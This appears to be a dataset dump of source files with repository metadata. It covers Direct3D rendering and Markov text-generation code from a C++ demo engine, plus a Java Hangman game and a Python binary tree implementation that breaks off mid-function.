name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t\tvideo_device->setProjectionMatrix(Matrix::perspective(pi / 4.0f, width / height, 0.2f, 100.0f));\r\n\t\tvideo_device->setAspectRatio(width / height);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tSoundPtr soundtrack = sound_manager->loadStream(\"demogroove4\", Filesystem::redirect(\"demogroove4.ogg\"));\r\n\r\n\t\tvector_batch = VectorBatchPtr(new VectorBatch(main_renderer, (uint)width, (uint)height));\r\n\t\tvector_batch->setVirtualResolution(uint(width), uint(height));\r\n\t\tsprite_batch = SpriteBatchPtr(new SpriteBatch(main_renderer, (uint)width, (uint)height));\r\n\t\tsprite_batch->setVirtualResolution(uint(width), uint(height));\r\n\r\n\t\tpowell = BitmapFontPtr(new BitmapFont(sprite_batch, Filesystem::redirect(\"powell.fnt\"), 1000));\r\n\r\n\t\t\r\n\t\t\r\n\t\tdemo = DemoPtr(new Demo(soundtrack));\r\n\r\n\t\tRibbonsPtr ribbons(new Ribbons(main_renderer, vector_batch, sprite_batch, powell));\r\n\t\tMarkovPtr markov(new Markov(main_renderer, vector_batch, sprite_batch, powell));\r\n\t\tSnowflakePtr snowflake(new Snowflake(main_renderer, vector_batch, sprite_batch, powell));\r\n\r\n\t\tdemo->add(0, 0.0f, 21.0f, markov);\r\n\t\tdemo->add(0, 21.02f, 44.0f, ribbons);\r\n\t\tdemo->add(0, 44.02f, 78.0f, snowflake);\r\n\t\tdemo->seal();\r\n\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tstatic bool first_time = true;\r\n\t\tif(first_time)\r\n\t\t{\r\n\t\t\tloading_finished_t = Timer::getTimeMs();\r\n\t\t\tfirst_time = false;\r\n\t\t}\r\n\t\t// Delay starting demo by 1 second\r\n\t\tstatic bool is_playing = false;\r\n\t\tif(!is_playing && (Timer::getTimeMs() > (loading_finished_t + 1000)))\r\n\t\t{\r\n\t\t\tis_playing = true;\r\n\t\t\tTimer::reset();\r\n\t\t\tdemo->play();\r\n\t\t\t//demo->setTime(60.01f);\r\n\t\t}\r\n\t\t\r\n\t\tinput->getKeyboard()->update();\r\n\r\n\t\treturn demo->update();\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tbool result = demo->render();\r\n\r\n\t\treturn result;\r\n\t}\r\n\r\nprivate:\r\n\tDemoPtr demo;\r\n\r\n\tVectorBatchPtr vector_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tBitmapFontPtr powell;\r\n\r\n\tint loading_finished_t;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tFilesystem::init(\"celerity_data\\\\\");\r\n\t\tCelerity app(hInstance, \"Celerity\", Filesystem::redirect(\"celerity.log\"));\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6597633361816406, "alphanum_fraction": 0.6669484376907349, "avg_line_length": 17.55371856689453, "blob_id": "b3c789f058da1b7564d2aba931478f04bea6d50d", "content_id": "f73d0eb26b66bb63b32dd32c99d96bf71b1fba7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2366, "license_type": "no_license", "max_line_length": 87, "num_lines": 121, "path": "/source/VertexBuffer.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"VertexBuffer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nVertexBuffer::VertexBuffer(ResourceId id, D3DDevicePtr device, const std::string& name,\r\n\t\tVertexFormat format, uint vertex_count, bool is_dynamic)\r\n\t\t:\r\nGpuBuffer(id, device, name, is_dynamic),\r\nformat(format),\r\nvertex_count(vertex_count)\r\n{\r\n\tusage = is_dynamic ? D3DUSAGE_DYNAMIC : 0;\r\n\tsize_in_bytes = format.getSize() * vertex_count;\r\n\tcreate();\r\n}\r\n\r\nVertexBuffer::~VertexBuffer()\r\n{\r\n\tif(!is_released)\r\n\t{\r\n\t\tsafeRelease(vertex_buffer);\r\n\t\tLOG(FORMAT(\"Vertex buffer %s released\", % name));\r\n\t}\r\n}\r\n\r\nbool VertexBuffer::isLocked() const\r\n{\r\n\treturn is_locked;\r\n}\r\n\r\nLockedBuffer VertexBuffer::lock(bool read_only)\r\n{\r\n\tif(is_locked)\r\n\t\tthrow EXCEPTION(\"Vertex buffer is already locked!\");\r\n\r\n\tis_locked = true;\r\n\r\n\tvoid* data;\r\n\tDWORD usage;\r\n\r\n\tif(is_dynamic)\r\n\t\tusage = D3DLOCK_DISCARD;\r\n\telse\r\n\t\tusage = read_only ? D3DLOCK_READONLY : 0;\r\n\r\n\tE_E(vertex_buffer->Lock(0, 0, &data, usage));\r\n\r\n\tLockedBuffer result;\r\n\tresult.data = data;\r\n\tresult.size = size_in_bytes;\r\n\r\n\treturn result;\r\n}\r\n\r\nvoid VertexBuffer::unlock()\r\n{\r\n\tif(!is_locked)\r\n\t\tthrow EXCEPTION(\"Index buffer is not locked!\");\r\n\r\n\tE_E(vertex_buffer->Unlock());\r\n\tis_locked = false;\r\n}\r\n\r\nuint VertexBuffer::getVertexCount() const\r\n{\r\n\treturn vertex_count;\r\n}\r\n\r\nVertexFormat& VertexBuffer::getVertexFormat()\r\n{\r\n\treturn format;\r\n}\r\n\r\nIDirect3DVertexBuffer9* VertexBuffer::getD3DVertexBuffer() const\r\n{\r\n\tif(is_ready)\r\n\t\treturn vertex_buffer;\r\n\telse\r\n\t\tthrow EXCEPTION(\"Vertex buffer is not ready for usage\");\r\n}\r\n\r\n\r\nvoid VertexBuffer::create()\r\n{\r\n\tLOG(FORMAT(\"Creating vertex buffer %s\", % name));\r\n\r\n\tDWORD fvf = 0; // Don't use FVF, IDirect3DVertexDeclaration9 is more flexible\r\n\tD3DPOOL pool = is_dynamic ? D3DPOOL_DEFAULT : D3DPOOL_MANAGED;\r\n\t\r\n\tdevice->CreateVertexBuffer(size_in_bytes, usage, fvf, pool, &vertex_buffer, NULL);\r\n\t\r\n\tis_ready = true;\r\n\tis_locked = false;\r\n}\r\n\r\nvoid VertexBuffer::onDeviceLost()\r\n{\r\n\t// Only dynamic buffers must be released on device lost\r\n\tif(is_dynamic && !is_released)\r\n\t{\r\n\t\tLOG(FORMAT(\"Releasing dynamic vertex buffer %s\", % name));\r\n\t\tsafeRelease(vertex_buffer);\r\n\t\tis_released = true;\r\n\t}\r\n\r\n\tis_ready = false;\r\n}\r\n\r\nvoid VertexBuffer::onDeviceReset()\r\n{\r\n\tif(is_dynamic && is_released)\r\n\t{\r\n\t\tcreate();\r\n\t\tis_released = false;\r\n\t}\r\n\r\n\tis_ready = true;\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.6236730217933655, "alphanum_fraction": 0.6305732727050781, "avg_line_length": 21.873416900634766, "blob_id": "0d89ecbb518458bee1840817170ce2cbc137f239", "content_id": "e3d47f6cd640435bcdd00c426ea3bdcf74f84eb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1884, "license_type": "no_license", "max_line_length": 76, "num_lines": 79, "path": "/apps/Celerity/Textgen.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Textgen.h\"\r\n\r\n#include \"Random.h\"\r\n#include \"Exception.h\"\r\n#include \"Filesystem.h\"\r\n#include \"MML.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nuint n_words;\r\nstd::vector<std::string> words;\r\nstd::vector<uint> freq_sums;\r\nstd::vector<uint> freqs;\r\nRandom prng;\r\n\r\nuint next_word = 0;\r\n\r\nvoid textgenInit()\r\n{\r\n\tMML data(Filesystem::readFileToString(Filesystem::redirect(\"markov.mml\")));\r\n\tMMLNode& root = data.getRoot();\r\n\r\n\tif(root.name != \"markov_statistics\")\r\n\t\tthrow EXCEPTION(\"Markov statistics file is corrupted\");\r\n\r\n\tMMLNode& words_node = root.getChild(\"words\");\r\n\tMMLNode& freqs_node = root.getChild(\"frequencies\");\r\n\tn_words = boost::lexical_cast<uint>(words_node.value);\r\n\tassert(n_words > 0);\r\n\r\n\twords.assign(n_words, \"\");\r\n\tstd::list<MMLNode>::iterator itr = words_node.children.begin();\r\n\tfor(; itr != words_node.children.end(); ++itr)\r\n\t{\r\n\t\twords[boost::lexical_cast<size_t>(itr->value)] = itr->name;\r\n\t}\r\n\r\n\tfreq_sums.assign(n_words, 0);\r\n\tfreqs.assign(n_words*n_words, 0);\r\n\r\n\tstd::vector<std::string> unparsed_freq;\r\n\titr = freqs_node.children.begin();\r\n\tfor(uint i = 0; itr != freqs_node.children.end(); ++itr, ++i)\r\n\t{\r\n\t\tboost::split(unparsed_freq, itr->value, boost::is_any_of(\" \"));\r\n\r\n\t\tuint j = 0, idx = 0;\r\n\t\twhile(j < unparsed_freq.size())\r\n\t\t{\r\n\t\t\tuint idx = boost::lexical_cast<uint>(unparsed_freq[j]);\r\n\t\t\tuint v = boost::lexical_cast<uint>(unparsed_freq[j+1]);\r\n\t\t\tj += 2;\r\n\t\t\tfreqs[i*n_words + idx] = v;\r\n\t\t\tfreq_sums[i] += v;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid textgenReseed(uint word_idx)\r\n{\r\n\tassert(word_idx < n_words);\r\n\tnext_word = word_idx;\r\n}\r\n\r\nstd::string textgenWord()\r\n{\r\n\tuint current_word = next_word;\r\n\tuint r = prng.randUInt(0, freq_sums[current_word]);\r\n\tuint sum = 0;\r\n\tnext_word = 0;\r\n\twhile(sum <= r) \r\n\t{\r\n\t\tsum += freqs[current_word*n_words + next_word];\r\n\t\tnext_word++;\r\n\t}\r\n\tnext_word -= 1;\r\n\treturn words[current_word];\r\n}" }, { "alpha_fraction": 0.7208737730979919, "alphanum_fraction": 0.7257281541824341, "avg_line_length": 24.190475463867188, "blob_id": "7105c3bb0d19c14ee2087902fb8874b6dc342dd8", "content_id": "c5f819f94506d5f30e68663ae94521bd7453ec53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1648, "license_type": "no_license", "max_line_length": 101, "num_lines": 63, "path": "/source/VertexBuffer.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VERTEXBUFFER_H\r\n#define VERTEXBUFFER_H\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"MemUtils.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"GpuBuffer.h\"\r\n#include \"VertexFormat.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass GpuBufferManager;\r\n\r\n/// Vertex buffer\r\nclass VertexBuffer : public GpuBuffer\r\n{\r\npublic:\r\n\t/// Constructor. You shouldn't construct VertexBuffer yourself, GpuBufferManager does this.\r\n\tVertexBuffer(ResourceId id, D3DDevicePtr device, const std::string& name,\r\n\t\tVertexFormat format, uint vertex_count, bool is_dynamic);\r\n\r\n\t/// Destructor\r\n\tvirtual ~VertexBuffer();\r\n\r\n\t/// Is vertex buffer locked?\r\n\tvirtual bool isLocked() const;\r\n\r\n\t/// Locks vertex buffer. Throws Exception if buffer is already locked.\r\n\t/// \\param read_only Pass true if no writing to locked buffer will be done, it improves performance.\r\n\tvirtual LockedBuffer lock(bool read_only);\r\n\t/// Unlocks locked buffer. Throws Exception if buffer is not locked.\r\n\tvirtual void unlock();\r\n\r\n\t/// Returns number of vertices in buffer.\r\n\tuint getVertexCount() const;\r\n\t/// Returns format of vertices.\r\n\tVertexFormat& getVertexFormat();\r\n\r\n\t/// Returns pointer to IDirect3DVertexBuffer9\r\n\tIDirect3DVertexBuffer9* getD3DVertexBuffer() const;\r\n\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceReset();\r\n\r\nprivate:\t\r\n\tvoid create();\r\n\r\n\tconst uint vertex_count;\r\n\tVertexFormat format; // Don't change this with format.set*** methods\r\n\tbool is_locked;\r\n\tDWORD usage;\r\n\tIDirect3DVertexBuffer9* vertex_buffer;\r\n\r\n};\r\n\r\ntypedef boost::shared_ptr<VertexBuffer> VertexBufferPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6332052946090698, "alphanum_fraction": 0.6397193670272827, "avg_line_length": 19.699275970458984, "blob_id": "4620c74e0e7450ff2c001f4368486c0e6bb6f3cd", "content_id": "cdffdf545b05fc555578530e2c38c813c36fd778", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5987, "license_type": "no_license", "max_line_length": 125, "num_lines": 276, "path": "/source/Renderer.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Renderer.h\"\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nBatch::Batch()\r\n\t:\r\npriority(0),\r\nbatch_id(0),\r\nvb_id(Resource::INVALID_ID),\r\nib_id(Resource::INVALID_ID),\r\neffect_id(Resource::INVALID_ID),\r\ntechnique(0),\r\npass(Effect::INVALID_PASS),\r\nstart_index(0),\r\ntri_count(0),\r\nowner(NULL)\r\n{\r\n}\r\n\r\nBatch::Batch(const Batch& batch)\r\n\t:\r\npriority(batch.priority),\r\nbatch_id(batch.batch_id),\r\nvb_id(batch.vb_id),\r\nib_id(batch.ib_id),\r\neffect_id(batch.effect_id),\r\ntechnique(batch.technique),\r\npass(batch.pass),\r\nstart_index(batch.start_index),\r\ntri_count(batch.tri_count),\r\nowner(batch.owner)\r\n{\r\n}\r\n\r\nconst Batch& Batch::operator=(const Batch& batch)\r\n{\r\n\tpriority = batch.priority;\r\n\tbatch_id = batch.batch_id;\r\n\tvb_id = batch.vb_id;\r\n\tib_id = batch.ib_id;\r\n\teffect_id = batch.effect_id;\r\n\ttechnique = batch.technique;\r\n\tpass = batch.pass;\r\n\tstart_index = batch.start_index;\r\n\ttri_count = batch.tri_count;\r\n\towner = batch.owner;\r\n\r\n\treturn *this;\r\n}\r\n\r\nbool Batch::operator<(const Batch& batch) const\r\n{\r\n\tif(priority != batch.priority)\r\n\t\treturn priority < batch.priority;\r\n\r\n\tif(effect_id != batch.effect_id)\r\n\t\treturn effect_id < batch.effect_id;\r\n\r\n\tif(technique != batch.technique)\r\n\t\treturn technique < batch.technique;\r\n\r\n\tif(pass != batch.pass)\r\n\t\treturn pass < batch.pass;\r\n\r\n\tif(vb_id != batch.vb_id)\r\n\t\treturn vb_id < batch.vb_id;\r\n\r\n\treturn ib_id < batch.ib_id; \r\n}\r\n\r\nRenderer::Renderer(D3DDevicePtr device, EffectManagerPtr effect_manager, GpuBufferManagerPtr gpu_buffer_manager)\r\n\t:\r\ndevice(device),\r\neffect_manager(effect_manager),\r\ngpu_buffer_manager(gpu_buffer_manager)\r\n{\r\n\tmemset(&last_stats, 0, sizeof(last_stats));\r\n\r\n\tactive_vb = active_ib = active_effect = Resource::INVALID_ID;\r\n\tactive_vb_start_index = active_technique = 0;\r\n\tactive_pass = Effect::INVALID_PASS;\r\n\treset();\r\n}\r\n\r\nRenderer::~Renderer()\r\n{\r\n}\r\n\r\nvoid Renderer::prepare(Renderable& renderable)\r\n{\r\n\tis_sorted = false;\r\n\r\n\tBatch* new_batches;\r\n\r\n\tunsigned int new_count = renderable.getBatches(&new_batches);\r\n\r\n\tif(batch_count + new_count >= max_batches)\r\n\t\tthrow EXCEPTION(\"Too many batches!\");\r\n\r\n\tfor(unsigned int i = 0; i < new_count; ++i)\r\n\t{\r\n\t\tbatches[batch_count++] = new_batches[i];\r\n\t}\r\n}\r\n\r\nvoid Renderer::prepare(Batch& batch)\r\n{\r\n\tis_sorted = false;\r\n\r\n\tif(batch_count+1 >= max_batches)\r\n\t\tthrow EXCEPTION(\"Too many batches!\");\r\n\r\n\tbatches[batch_count++] = batch;\r\n}\r\n\r\nvoid Renderer::render(uint16 min_priority, uint16 max_priority)\r\n{\r\n\tEffectPtr effect_ptr;\r\n\tVertexBufferPtr vb_ptr;\r\n\tIndexBufferPtr ib_ptr;\r\n\tbool use_ib;\r\n\r\n\tif(!is_sorted)\r\n\t\tsort();\r\n\r\n\tfor(uint i = 0; i < batch_count; ++i)\r\n\t{\r\n\t\tif(min_priority != MAX_UINT16 || max_priority != MAX_UINT16)\r\n\t\t\tif(batches[i].priority < min_priority || batches[i].priority > max_priority)\r\n\t\t\t\tcontinue;\r\n\r\n\t\tstats.batch_count++;\r\n\r\n\t\tBatch& batch = batches[i];\r\n\r\n\t\t// Set effect\r\n\t\tif(active_effect != batch.effect_id || active_technique != batch.technique)\r\n\t\t{\r\n\t\t\tstats.effect_changes++;\r\n\t\t\t\r\n\t\t\tEffectPtr effect = effect_manager->get(batch.effect_id);\r\n\r\n\t\t\tif(bool(effect_ptr))\r\n\t\t\t{\r\n\t\t\t\teffect_ptr->endPass();\r\n\t\t\t\teffect_ptr->end();\r\n\t\t\t\tif(active_technique != 0)\r\n\t\t\t\t\teffect_ptr->setTechnique(0);\r\n\t\t\t}\r\n\r\n\t\t\tactive_effect = batch.effect_id;\r\n\t\t\tactive_technique = Effect::INVALID_TECHNIQUE;\r\n\t\t\tactive_pass = Effect::INVALID_PASS;\r\n\r\n\t\t\teffect_ptr = effect;\r\n\r\n\t\t\t// Set technique\r\n\t\t\tif(active_technique != batch.technique)\r\n\t\t\t{\r\n\t\t\t\teffect_ptr->setTechnique(batch.technique);\r\n\t\t\t\tactive_technique = batch.technique;\r\n\t\t\t}\r\n\r\n\t\t\teffect_ptr->begin();\r\n\t\t}\r\n\r\n\t\t// Set pass\r\n\t\tif(active_pass != batch.pass)\r\n\t\t{\r\n\t\t\tstats.pass_changes++;\r\n\r\n\t\t\tif(active_pass != Effect::INVALID_PASS)\r\n\t\t\t{\r\n\t\t\t\teffect_ptr->endPass();\r\n\t\t\t}\r\n\r\n\t\t\tactive_pass = batch.pass;\r\n\t\t\teffect_ptr->beginPass(active_pass);\r\n\t\t}\r\n\r\n\t\tuse_ib = batch.ib_id != Resource::INVALID_ID;\r\n\r\n\t\t// Set vertex buffer\r\n\t\tvb_ptr = gpu_buffer_manager->getVertexBuffer(batch.vb_id);\r\n\t\tuint size = vb_ptr->getVertexFormat().getSize();\r\n\t\tif(active_vb != batch.vb_id)\r\n\t\t{\r\n\t\t\tstats.vb_changes++;\r\n\t\t\tactive_vb = batch.vb_id;\r\n\t\t\t\t\t\t\r\n\t\t\tif(use_ib)\r\n\t\t\t{\r\n\t\t\t\tE_E(device->SetStreamSource(0, vb_ptr->getD3DVertexBuffer(), 0, size));\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tactive_vb_start_index = size * batch.start_index;\r\n\t\t\t\tE_E(device->SetStreamSource(0, vb_ptr->getD3DVertexBuffer(), active_vb_start_index, size));\r\n\t\t\t}\r\n\r\n\t\t\tE_E(device->SetVertexDeclaration(vb_ptr->getVertexFormat().getD3DVertexDeclaration(device, 0)));\r\n\t\t}\r\n\t\telse if(!use_ib && active_vb_start_index != size * batch.start_index)\r\n\t\t{\r\n\t\t\tstats.vb_changes++;\r\n\t\t\tactive_vb_start_index = size * batch.start_index;\r\n\t\t\tE_E(device->SetStreamSource(0, vb_ptr->getD3DVertexBuffer(), active_vb_start_index, size));\r\n\t\t}\r\n\r\n\t\t// Set index buffer\r\n\t\tif(active_ib != batch.ib_id && use_ib)\r\n\t\t{\r\n\t\t\tstats.ib_changes++;\r\n\t\t\tactive_ib = batch.ib_id;\r\n\r\n\t\t\tib_ptr = gpu_buffer_manager->getIndexBuffer(active_ib);\r\n\r\n\t\t\tE_E(device->SetIndices(ib_ptr->getD3DIndexBuffer()));\r\n\t\t}\r\n\r\n\t\t// Render\r\n\t\tif(batch.owner)\r\n\t\t\tbatch.owner->onPreRender(batch.batch_id);\r\n\t\t\r\n\t\tstats.triangle_count += batch.tri_count;\r\n\r\n\t\tif(use_ib)\r\n\t\t{\r\n\t\t\tE_E(device->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, vb_ptr->getVertexCount(), batch.start_index, batch.tri_count));\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tE_E(device->DrawPrimitive(D3DPT_TRIANGLELIST, 0, batch.tri_count));\r\n\t\t}\r\n\t}\r\n\r\n\tif(bool(effect_ptr))\r\n\t{\r\n\t\teffect_ptr->endPass();\r\n\t\teffect_ptr->end();\r\n\t}\r\n\r\n\tactive_vb = active_ib = active_effect = Resource::INVALID_ID;\r\n\tactive_vb_start_index = active_technique = 0;\r\n\tactive_pass = Effect::INVALID_PASS;\r\n}\r\n\r\nvoid Renderer::endFrame()\r\n{\r\n\treset();\r\n}\r\n\r\nconst FrameStats& Renderer::getStatistics()\r\n{\r\n\treturn last_stats;\r\n}\r\n\r\nvoid Renderer::sort()\r\n{\r\n\tstd::sort(batches.begin(), batches.begin() + batch_count);\r\n\tis_sorted = true;\r\n}\r\n\r\nvoid Renderer::reset()\r\n{\r\n\tlast_stats = stats;\r\n\tmemset(&stats, 0, sizeof(stats));\r\n\r\n\tbatch_count = 0;\r\n\tis_sorted = false;\r\n}\r\n\r\n} // namespace" } ]
149
igorp/java
https://github.com/igorp/java
853e875b5259d4b036dd85c29bd977c083ec80f6
1140dc588e6abe81a15ae14f9db68b78aa70261d
b76fdc5b6e68e82b9ce22475d2729f292fa7be9a
refs/heads/master
2021-01-20T10:37:05.969723
2018-11-22T11:43:41
2018-11-22T11:43:41
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.42779427766799927, "alphanum_fraction": 0.4307616353034973, "avg_line_length": 32.305084228515625, "blob_id": "7726f27fc6e74480bca7f31487974909bfdd0f99", "content_id": "5f59380325bbec3302ddaa4442eba7e2f2624f74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2022, "license_type": "no_license", "max_line_length": 71, "num_lines": 59, "path": "/src/Hangman.java", "repo_name": "igorp/java", "src_encoding": "UTF-8", "text": "import java.util.Scanner;\r\n\r\n//You try to guess the correct word, either by entering a single letter\r\n//or the whole word\r\npublic class Hangman {\r\n\r\n public static void main(String args[]) {\r\n Scanner input = new Scanner(System.in);\r\n String answer = \"television\";\r\n char[] word = new char[answer.length()];\r\n boolean hasNotBeenGuessed = true;\r\n\r\n //initialize word\r\n for (int i = 0; i < answer.length(); i++) {\r\n word[i] = '_';\r\n }\r\n\r\n while (hasNotBeenGuessed) {\r\n //print word\r\n for (int i = 0; i < word.length; i++) {\r\n System.out.print(word[i] + \" \");\r\n }\r\n System.out.println();\r\n\r\n System.out.print(\"Guess a letter or word: \");\r\n String guess = input.next();\r\n if (guess.length() > 1) {\r\n if (guess.equals(answer)) {\r\n System.out.println(\"You guessed correctly!\");\r\n hasNotBeenGuessed = false;\r\n } \r\n else {\r\n System.out.println(\"You didn't guess correctly.\");\r\n }\r\n } \r\n else {\r\n System.out.println(\"You tried to guess letter\");\r\n //if letter is in answer then show that letter\r\n for (int i = 0; i < answer.length(); i++) {\r\n char letter = guess.charAt(0);\r\n if (letter == answer.charAt(i)) {\r\n word[i] = letter;\r\n }\r\n }\r\n }\r\n //check if all letters have been guessed\r\n boolean canStop = true;\r\n for (int i = 0; i < answer.length(); i++) {\r\n if (word[i] == '_') {\r\n canStop = false;\r\n }\r\n }\r\n if (canStop == true) {\r\n System.out.println(\"You guessed correctly!\");\r\n hasNotBeenGuessed = false;\r\n }\r\n }\r\n }\r\n}" }, { "alpha_fraction": 0.7786259651184082, "alphanum_fraction": 0.7786259651184082, "avg_line_length": 31.75, "blob_id": "85bfb52b298b6f7206ba1d375fd0c527e68e0013", "content_id": "6eff4dd7739d7cdb5000132baf9332049f824b0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 131, "license_type": "no_license", "max_line_length": 95, "num_lines": 4, "path": "/README.md", "repo_name": "igorp/java", "src_encoding": "UTF-8", "text": "Small programming projects\n======\n\nA few small projects I've been working on that don't warrant their own individual repositories.\n" }, { "alpha_fraction": 0.4265511929988861, "alphanum_fraction": 0.4356500804424286, "avg_line_length": 32.050724029541016, "blob_id": "8d363c7e61743b637bd9c8805f94b865d20e1546", "content_id": "942c7de1efb986e5865e747534370e13be4d220d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9122, "license_type": "no_license", "max_line_length": 69, "num_lines": 276, "path": "/src/binary_tree.py", "repo_name": "igorp/java", "src_encoding": "UTF-8", "text": "# Binary Tree Implementation by Igor Podsechin\n# based on the material in the book \"Data Structures \n# & Algorithms in Java, 2nd edition\" by Robert Lafore\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.leftChild = None\n self.rightChild = None\n\n def displayNode(self):\n print(self.data)\n\nclass Tree:\n def __init__(self):\n self.root = None\n\n def find(self, key):\n current = self.root\n\n while(current.data != key):\n print(current.data)\n if(key < current.data):\n current = current.leftChild\n else:\n current = current.rightChild\n if(current == None):\n return None\n return current\n\n def insert(self, d):\n newNode = Node(d)\n if(self.root == None):\n self.root = newNode\n else:\n current = self.root\n while(True):\n parent = current\n # go down the left node\n if(d < current.data): \n current = current.leftChild\n if(current == None):\n parent.leftChild = newNode\n return\n # go down the right node\n else:\n current = current.rightChild\n if(current == None):\n parent.rightChild = newNode\n return\n\n\n # Returns the node with next-highest value after delNode\n def getSuccessor(self, delNode):\n successorParent = delNode\n successor = delNode\n current = delNode.rightChild\n\n while(current != None):\n successorParent = successor\n successor = current\n current = current.leftChild\n\n if(successor != delNode.rightChild):\n successorParent.leftChild = successor.rightChild\n successor.rightChild = delNode.rightChild\n return successor\n\n def delete(self, key):\n current = self.root\n parent = self.root\n isLeftChild = True\n\n while(current.data != key):\n parent = current\n # go left\n if(key < current.data):\n isLeftChild = True\n current = current.leftChild\n # go right\n else:\n isLeftChild = False\n current = current.rightChild\n if(current == None):\n return False\n # if no children, then just delete it\n if(current.leftChild == None and current.rightChild == None):\n if(current == self.root):\n self.root = None\n elif(isLeftChild):\n parent.leftChild = None\n else:\n parent.rightChild = None\n # if no right child, replace with left subtree\n elif(current.rightChild == None):\n if(current == self.root):\n self.root = current.leftChild\n elif(isLeftChild):\n parent.leftChild = current.leftChild\n else:\n parent.rightChild = current.leftChild\n # if no left child, replace with right subtree\n elif(current.leftChild == None):\n if(current == self.root):\n self.root = current.rightChild\n elif(isLeftChild):\n parent.leftChild = current.rightChild\n else:\n parent.rightChild = current.rightChild\n # two children, so replace with in-order successor\n else:\n # get successor of node to delete (current)\n successor = self.getSuccessor(current)\n\n # connect parent of current to successor instead\n if(current == self.root):\n self.root = successor\n elif(isLeftChild):\n parent.leftChild = successor\n else:\n parent.rightChild = successor\n # connect successor to current's left child\n successor.leftChild = current.leftChild\n return True\n\n # Traverses tree printing each out each node\n def traverse(self):\n def inOrder(localRoot):\n if(localRoot != None):\n inOrder(localRoot.leftChild)\n localRoot.displayNode()\n inOrder(localRoot.rightChild)\n\n inOrder(self.root)\n \n # A rather ugly function that draws a tree up to 4 levels\n def draw(self):\n treeFlattened = [-99] * 15\n a = self.root\n\n if(a != None):\n treeFlattened.pop(0)\n treeFlattened.insert(0, a.data)\n b = a.leftChild\n c = a.rightChild\n\n if(b != None):\n treeFlattened.pop(1)\n treeFlattened.insert(1, b.data)\n d = b.leftChild\n e = b.rightChild\n\n if(d != None):\n treeFlattened.pop(3)\n treeFlattened.insert(3, d.data)\n h = d.leftChild\n i = d.rightChild\n\n if(h != None):\n treeFlattened.pop(7)\n treeFlattened.insert(7, h.data) \n\n if(i != None):\n treeFlattened.pop(8)\n treeFlattened.insert(8, i.data) \n\n if(e != None):\n treeFlattened.pop(4)\n treeFlattened.insert(4, e.data)\n j = e.leftChild\n k = e.rightChild\n\n if(j != None):\n treeFlattened.pop(9)\n treeFlattened.insert(9, j.data) \n\n if(k != None):\n treeFlattened.pop(10)\n treeFlattened.insert(10, k.data) \n\n if(c != None):\n treeFlattened.pop(2)\n treeFlattened.insert(2, c.data)\n f = c.leftChild\n g = c.rightChild\n\n if(f != None):\n treeFlattened.pop(5)\n treeFlattened.insert(5, f.data)\n l = f.leftChild\n m = f.rightChild\n\n if(l != None):\n treeFlattened.pop(11)\n treeFlattened.insert(11, l.data) \n\n if(m != None):\n treeFlattened.pop(12)\n treeFlattened.insert(12, m.data) \n\n if(g != None):\n treeFlattened.pop(6)\n treeFlattened.insert(6, g.data)\n n = g.leftChild\n o = g.rightChild\n\n if(n != None):\n treeFlattened.pop(13)\n treeFlattened.insert(13, n.data) \n\n if(o != None):\n treeFlattened.pop(14)\n treeFlattened.insert(14, o.data) \n\n # draw function's inner helper function\n def formatNodeData(n):\n if(n == -99):\n return \" \"\n elif(n > 9):\n return \" \" + str(n)\n else:\n return \" \" + str(n) + \" \"\n\n print(\" ______\" \n + formatNodeData(treeFlattened[0]) \n + \"______ \")\n print(\" / \\\\\")\n print(\" __\" + formatNodeData(treeFlattened[1])\n + \"__ __\"\n + formatNodeData(treeFlattened[2]) + \"__\")\n print(\" / \\ / \\\\\")\n print(\" \" \n + formatNodeData(treeFlattened[3]) \n + \" \" \n + formatNodeData(treeFlattened[4]) \n + \" \" \n + formatNodeData(treeFlattened[5]) \n + \" \" \n + formatNodeData(treeFlattened[6]))\n print(\" / \\ / \\ / \\ / \\\\\")\n print(\"\" \n + formatNodeData(treeFlattened[7]) \n + \" \" 